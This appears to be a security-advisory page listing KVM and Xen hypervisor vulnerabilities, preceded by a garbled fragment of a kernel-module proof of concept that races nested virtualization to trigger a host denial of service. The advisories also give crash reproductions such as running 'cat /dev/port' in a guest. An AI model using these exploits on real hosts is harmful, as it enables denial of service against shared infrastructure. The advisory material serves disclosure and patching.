freepgs(); return -ENOMEM; } prinfo("[] poc step 2/4: nested page tables + L3 guest image built\n"); bmp = apg(&msrbmppa); if (bmp) memset(bmp, 0xff, 4096); if (amd) { void a = apgorder(2, &iopmpa); void b = apgorder(1, &msrpmpa); if (!a || !b) { prerr("poc: iopm/msrpm alloc fail\n"); freepgs(); return -ENOMEM; } } for (cpu = 0; cpu < online && cpu < NRCPUS; cpu++) { void s = apg(NULL); hoststk[cpu] = (u64)(unsigned long)((char )s + 0xff0); } used = min(nvcpu, online); for (cpu = 0; cpu < used; cpu++) roleof[cpu] = (cpu == 0) ? RWRITER : (cpu <= nflood && !amd) ? RFLOOD : RFAULT; prinfo("[] poc step 3/4: launching %d kthreads (1 writer + %d faulters)\n", used, used - 1 - (amd ? 0 : nflood)); for (cpu = 0; cpu < used; cpu++) { threads[cpu] = kthreadcreate(kthr, (void )(long)cpu, "poc%d", cpu); if (!ISERR(threads[cpu])) { kthreadbind(threads[cpu], cpu); wakeupprocess(threads[cpu]); } } prinfo("poc[%s]: %d kthreads launched (1 writer + %d flood + %d faulters); race live\n", ops->name, used, amd ? 0 : nflood, used - 1 - (amd ? 0 : nflood)); prinfo("[] poc step 4/4: race live -- host DoS triggering\n"); return 0; } static void exit mexit(void) { int c; stopall = 1; msleep(200); for (c = 0; c < NRCPUS; c++) if (threads[c] && !ISERR(threads[c])) kthreadstop(threads[c]); freepgs(); prinfo("poc: unloaded\n"); } moduleinit(minit); moduleexit(mexit);

First published (updated )
Severity
7

A flaw was found in the way KVM hypervisor handled x2APIC Machine Specific Rregister(MSR) access with nested(=1) virtualization enabled. In that, L1 guest could access L0's APIC register values via L2 guest, when 'virtualize x2APIC mode' is enabled.

A guest could use this flaw to potentially crash the host kernel resulting in DoS issue.

Upstream patches: ----------------- -> https://git.kernel.org/pub/scm/virt/kvm/kvm.git/commit/?id=acff78477b9b4f26ecdf65733a4ed77fe837e9dc -> https://git.kernel.org/pub/scm/virt/kvm/kvm.git/commit/?id=c73f4c998e1fd4249b9edfa39e23f4fda2b9b041

Reference: ---------- -> https://www.openwall.com/lists/oss-security/2019/04/08/1

First published (updated )
Severity
7

It was found that a malicious HVM guest administrator can cause DoS, specifically prevent use of physical CPU for significant, perhaps indefinite period. When a benign exception occurs while delivering another benign exception, it is architecturally specified that these would be delivered sequentially. There are, however, cases where this results in an infinite loop inside the CPU, which (in the virtualized case) can be broken only by intercepting delivery of the respective exception.

When a guest sets up a hardware breakpoint covering a data structure involved in delivering #DB (Debug Exception), upon completion of the delivery of the first exception another #DB will need to be delivered. The effects slightly differ depending on further guest characteristics:

Guests running in 32-bit mode would be expected to sooner or later encounter another fault due to the stack pointer decreasing during each iteration of the loop. The most likely case would be #PF (Page Fault) due to running into unmapped virtual space. However, an infinite loop cannot be excluded (e.g. when the guest is running with paging disabled).

Guests running in long mode, but not using the IST (Interrupt Stack Table) feature for the IDT entry corresponding to #DB would behave similarly to guests running in 32-bit mode, just that the larger virtual address space allows for a much longer loop. The loop can't, however, be infinite, as eventually the stack pointer would move into non-canonical address space, causing #SS (Stack Fault) instead.

Guests running in long mode and using the IST for the IDT entry corresponding to #DB would enter an infinite loop, as the stack pointer wouldn't change between #DB instances.

If a host watchdog (Xen or dom0) is in use, this can lead to a watchdog timeout and consequently a reboot of the host. If another, innocent, guest, is configured with a watchdog, this issue can lead to a reboot of such a guest.

A privileged user inside guest could use this flaw to crash the host kernel resulting in DoS.

For KVM virtualisation, it only affects the AMD processor support, as for Intel it already intercepts the #DB exception.

Upstream KVM patch: ------------------- -> http://permalink.gmane.org/gmane.linux.kernel/2082332

References: ----------- -> http://www.openwall.com/lists/oss-security/2015/11/10/1

First published (updated )
Severity
4
Null Pointer Dereference

User space may create the PIT and forgets about setting up the irqchips. In that case, firing PIT IRQs will crash the host:

BUG: unable to handle kernel NULL pointer dereference at 0000000000000128 IP: [<ffffffffa10f6280>] kvmsetirq+0x30/0x170 [kvm] ... Call Trace: [<ffffffffa11228c1>] pitdowork+0x51/0xd0 [kvm] [<ffffffff81071431>] processonework+0x111/0x4d0 [<ffffffff81071bb2>] workerthread+0x152/0x340 [<ffffffff81075c8e>] kthread+0x7e/0x90 [<ffffffff815a4474>] kernelthreadhelper+0x4/0x10

Reference: http://permalink.gmane.org/gmane.comp.emulators.kvm.devel/83564

First published (updated )
Severity
4

Description of problem: When execute the command: cat /dev/port in the guest, the host hang immediately (General Protection Fault).

Version-Release number of selected component (if applicable): kvm-83-140.el5 kmod-kvm-83-140.el5 kvm-qemu-img-83-140.el5 2.6.18-182.el5

How reproducible: 100%

Steps to Reproduce: 1. boot the virtual machine 2. type cat /dev/port in the guest 3.

Actual results: Host hang

Expected results: Guest should display the information about virtual devices normally.

Additional info: 1 qemu-kvm command: /home/devel/autotest/client/tests/kvm/qemu -name vm1 -monitor tcp:0:6001,server,nowait -drive file=/home/devel/autotest/client/tests/kvm/images/RHEL-Server-5.4-64.qcow2,if=ide,boot=on -net nic,vlan=0,model=e1000,macaddr=00:9B:81:0E:91:01 -net tap,vlan=0,ifname=e100006001,script=/home/devel/autotest/client/tests/kvm/scripts/qemu-ifup-switch,downscript=no -m 512 -smp 1 -usbdevice tablet -rtc-td-hack -no-hpet -cpu qemu64,+sse2 -no-kvm-pit-reinjection -vnc :0 2 could be reproduced in kvm-83-142 & 2.6.18.183.el5

Re-tested:

Host \ Guest | 2.6.18.182 | 2.6.33-rc4 | --------------+----------------+-------------- 2.6.18.185el5 | FAIL | FAIL | --------------+----------------+-------------- 2.6.33-rc4 | PASS | PASS | --------------+----------------+--------------

bt from kernel crash dump: [root@localhost 2010-01-27-03:10]# gdb /usr/lib/debug/lib/modules/2.6.18-185.el5debug/vmlinux ./vmcore GNU gdb Fedora (6.8-37.el5) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x8664-redhat-linux-gnu"... [New process 32372] [New process 0] #0 0xffffffff8002202b in sysmprotect (start=18446604440097613992, len=18446604435883844864, prot=18446744071700444726) at mm/mprotect.c:250 250 prot |= PROTEXEC; (gdb) bt #0 0xffffffff8002202b in sysmprotect (start=18446604440097613992, len=18446604435883844864, prot=18446744071700444726) at mm/mprotect.c:250 #1 0x0000000000001000 in ?? ()

As malicious user could use this method to do the attack, move the priority and severity to urgent.

First published (updated )
Severity
7

Gleb Napatov found a bug in KVM that can be used to bypass proper IOPL/CPL checking. KVM relies on CPU to check IOPL/CPL before instruction execution, so emulator doesn't do IOPL/CPL checking. Malicious guest process running in SMP guest can bypass CPU IOPL/CPL checking if it has access to IO port or MMIO region. To do so it should run legitimate instruction that does IO and will cause vcpu to enter emulator in one thread and replace this instruction to malicious one from another thread. If instruction is replaced after KVM entered emulator, but before instruction is fetched emulator will be tricked to execute privileged instruction without permission checking.

First published (updated )
Severity
7

Gleb Natapov found a bug in KVM that allows code that runs in CPL3 (inside a guest) to modify memory in CPL0 (inside a guest). The bug is in x86 emulator code. When emulator accesses guest's memory on behalf of the gust's code it does this with the CPL0 privilege, so if emulated instruction is executed by unprivileged code it can still modify memory that otherwise is not accessible to it. To tak advantage of this vulnerability malicious code should trick KVM to emulate malicious instruction. KVM emulates IO and MMIO instructions, so if unprivileged process has access to some IO port or MMIO region (framebuffer for instance) the bug is very easy to use to modify arbitrary location in kernel memory.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203